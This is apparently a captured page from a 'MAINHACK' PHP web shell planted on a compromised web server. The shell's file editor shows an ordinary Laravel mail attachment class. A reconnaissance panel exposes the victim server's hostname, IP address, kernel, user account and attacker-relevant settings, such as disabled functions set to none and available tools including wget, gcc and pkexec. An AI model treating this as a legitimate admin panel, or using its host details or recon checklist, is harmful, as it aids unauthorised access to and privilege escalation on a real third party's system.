[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Attachment.php
<?php namespace Illuminate\Mail; use Closure; use Illuminate\Container\Container; use Illuminate\Contracts\Filesystem\Factory as FilesystemFactory; use Illuminate\Support\Traits\Macroable; class Attachment { use Macroable; /** * The attached file's filename. * * @var string|null */ public $as; /** * The attached file's mime type. * * @var string|null */ public $mime; /** * A callback that attaches the attachment to the mail message. * * @var \Closure */ protected $resolver; /** * Create a mail attachment. * * @param \Closure $resolver * @return void */ private function __construct(Closure $resolver) { $this->resolver = $resolver; } /** * Create a mail attachment from a path. * * @param string $path * @return static */ public static function fromPath($path) { return new static(fn ($attachment, $pathStrategy) => $pathStrategy($path, $attachment)); } /** * Create a mail attachment from in-memory data. * * @param \Closure $data * @param string $name * @return static */ public static function fromData(Closure $data, $name) { return (new static( fn ($attachment, $pathStrategy, $dataStrategy) => $dataStrategy($data, $attachment) ))->as($name); } /** * Create a mail attachment from a file in the default storage disk. * * @param string $path * @return static */ public static function fromStorage($path) { return static::fromStorageDisk(null, $path); } /** * Create a mail attachment from a file in the specified storage disk. * * @param string|null $disk * @param string $path * @return static */ public static function fromStorageDisk($disk, $path) { return new static(function ($attachment, $pathStrategy, $dataStrategy) use ($disk, $path) { $storage = Container::getInstance()->make( FilesystemFactory::class )->disk($disk); $attachment ->as($attachment->as ?? basename($path)) ->withMime($attachment->mime ?? $storage->mimeType($path)); return $dataStrategy(fn () => $storage->get($path), $attachment); }); } /** * Set the attached file's filename. * * @param string $name * @return $this */ public function as($name) { $this->as = $name; return $this; } /** * Set the attached file's mime type. * * @param string $mime * @return $this */ public function withMime($mime) { $this->mime = $mime; return $this; } /** * Attach the attachment with the given strategies. * * @param \Closure $pathStrategy * @param \Closure $dataStrategy * @return mixed */ public function attachWith(Closure $pathStrategy, Closure $dataStrategy) { return ($this->resolver)($this, $pathStrategy, $dataStrategy); } /** * Attach the attachment to a built-in mail type. * * @param \Illuminate\Mail\Mailable|\Illuminate\Mail\Message|\Illuminate\Notifications\Messages\MailMessage $mail * @return mixed */ public function attachTo($mail) { return $this->attachWith( fn ($path) => $mail->attach($path, ['as' => $this->as, 'mime' => $this->mime]), fn ($data) => $mail->attachData($data(), $this->as, ['mime' => $this->mime]) ); } /** * Determine if the given attachment is equivalent to this attachment. * * @param \Illuminate\Mail\Attachment $attachment * @return bool */ public function isEquivalent(Attachment $attachment) { return $this->attachWith( fn ($path) => [$path, ['as' => $this->as, 'mime' => $this->mime]], fn ($data) => [$data(), ['as' => $this->as, 'mime' => $this->mime]], ) === $attachment->attachWith( fn ($path) => [$path, ['as' => $attachment->as, 'mime' => $attachment->mime]], fn ($data) => [$data(), ['as' => $attachment->as, 'mime' => $attachment->mime]], ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002